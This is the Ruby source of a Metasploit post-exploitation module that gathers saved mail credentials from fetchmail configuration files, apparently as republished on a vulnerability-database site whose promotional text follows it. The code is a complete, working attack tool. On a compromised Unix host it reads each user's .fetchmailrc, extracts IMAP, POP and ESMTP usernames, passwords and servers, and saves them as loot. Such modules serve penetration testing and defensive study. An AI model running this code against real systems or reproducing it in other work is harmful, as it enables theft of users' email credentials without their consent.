##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Post
include Msf::Post::File
include Msf::Post::Unix
def initialize(info = {})
super(
update_info(
info,
'Name' => 'UNIX Gather .fetchmailrc Credentials',
'Description' => %q{
Post Module to obtain credentials saved for IMAP, POP and other mail
retrieval protocols in fetchmail's .fetchmailrc
},
'License' => MSF_LICENSE,
'Author' => [ 'Jon Hart <jhart[at]spoofed.org>' ],
'Platform' => %w[bsd linux osx unix],
'SessionTypes' => [ 'shell' ]
)
)
end
def run
# A table to store the found credentials.
cred_table = Rex::Text::Table.new(
'Header' => '.fetchmailrc credentials',
'Indent' => 1,
'Columns' =>
[
'Username',
'Password',
'Server',
'Protocol',
'Port'
]
)
# walk through each user directory
enum_user_directories.each do |user_dir|
fetchmailrc_file = ::File.join(user_dir, '.fetchmailrc')
unless readable? fetchmailrc_file
vprint_error("Couldn't read #{fetchmailrc_file}")
next
end
print_status("Reading: #{fetchmailrc_file}")
# read their .fetchmailrc if it exists
lines = read_file(fetchmailrc_file).each_line.to_a
next if (lines.size <= 0)
print_status("Parsing #{fetchmailrc_file}")
# delete any comments
lines.delete_if { |l| l =~ /^#/ }
# trim any leading/trailing whitespace
lines.map(&:strip!)
# turn any multi-line config options into a single line to ease parsing
(lines.size - 1).downto(0) do |i|
# if the line we are reading doesn't signify a new configuration section...
next if ((lines[i] =~ /^(?:defaults|poll|skip)\s+/))
# append the current line to the previous
lines[i - 1] << ' '
lines[i - 1] << lines[i]
# and axe the current line
lines.delete_at(i)
end
# any default options found, used as defaults for poll or skip lines
# that are missing options and want to use defaults
defaults = {}
# now parse each line found
lines.each do |line|
# if there is a 'default' line, save any of these options as
# they should be used when subsequent poll/skip lines are missing them.
if (line =~ /^defaults/)
defaults = parse_fetchmailrc_line(line).first
next
end
# now merge the currently parsed line with whatever defaults may have
# been found, then save if there is enough to save
parse_fetchmailrc_line(line).each do |cred|
cred = defaults.merge(cred)
if (cred[:host] && cred[:protocol])
if (cred[:users].size == cred[:passwords].size)
cred[:users].each_index do |i|
cred_table << [ cred[:users][i], cred[:passwords][i], cred[:host], cred[:protocol], cred[:port] ]
end
else
print_error("Skipping '#{line}' -- number of users and passwords not equal")
end
end
end
end
end
if cred_table.rows.empty?
print_status('No creds collected')
else
print_line("\n" + cred_table.to_s)
# store all found credentials
p = store_loot(
'fetchmailrc.creds',
'text/csv',
session,
cred_table.to_csv,
'fetchmailrc_credentials.txt',
'.fetchmailrc credentials'
)
print_status("Credentials stored in: #{p}")
end
end
# Parse a line +line+, assumed to be from a fetchmail configuration file,
# returning an array of all credentials found on that line
def parse_fetchmailrc_line(line)
creds = []
cred = {}
# parse and clean any users
users = line.scan(/\s+user(?:name)?\s+(\S+)/).flatten
unless users.empty?
cred[:users] = []
users.each do |user|
cred[:users] << user.gsub(/^"/, '').gsub(/"$/, '')
end
end
# parse and clean any passwords
passwords = line.scan(/\s+pass(?:word)?\s+(\S+)/).flatten
unless passwords.empty?
cred[:passwords] = []
passwords.each do |password|
cred[:passwords] << password.gsub(/^"/, '').gsub(/"$/, '')
end
end
# parse any hosts, ports and protocols
cred[:protocol] = ::Regexp.last_match(1) if (line =~ /\s+proto(?:col)?\s+(\S+)/)
cred[:port] = ::Regexp.last_match(1) if (line =~ /\s+(?:port|service)\s+(\S+)/)
cred[:host] = ::Regexp.last_match(1) if (line =~ /^(?:poll|skip)\s+(\S+)/)
# a 'via' option overrides poll/skip
cred[:host] = ::Regexp.last_match(1) if (line =~ /\s+via\s+(\S+)/)
# save this credential
creds << cred
# fetchmail can also "forward" mail by pulling it down with POP/IMAP and then
# connecting to some SMTP server and sending it. If ESMTP AUTH (RFC 2554) credentials
# are specified, steal those too.
cred = {}
cred[:users] = [ ::Regexp.last_match(1) ] if (line =~ /\s+esmtpname\s+(\S+)/)
cred[:passwords] = [ ::Regexp.last_match(1) ] if (line =~ /\s+esmtppassword\s+(\S+)/)
# XXX: what is the best way to get the host we are currently looting? localhost is lame.
cred[:host] = (line =~ /\s+smtphost\s+(\S+)/ ? ::Regexp.last_match(1) : 'localhost')
cred[:protocol] = 'esmtp'
# save the ESMTP credentials if we've found enough
creds << cred if (cred[:users] && cred[:passwords] && cred[:host])
# return all found credentials
creds
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation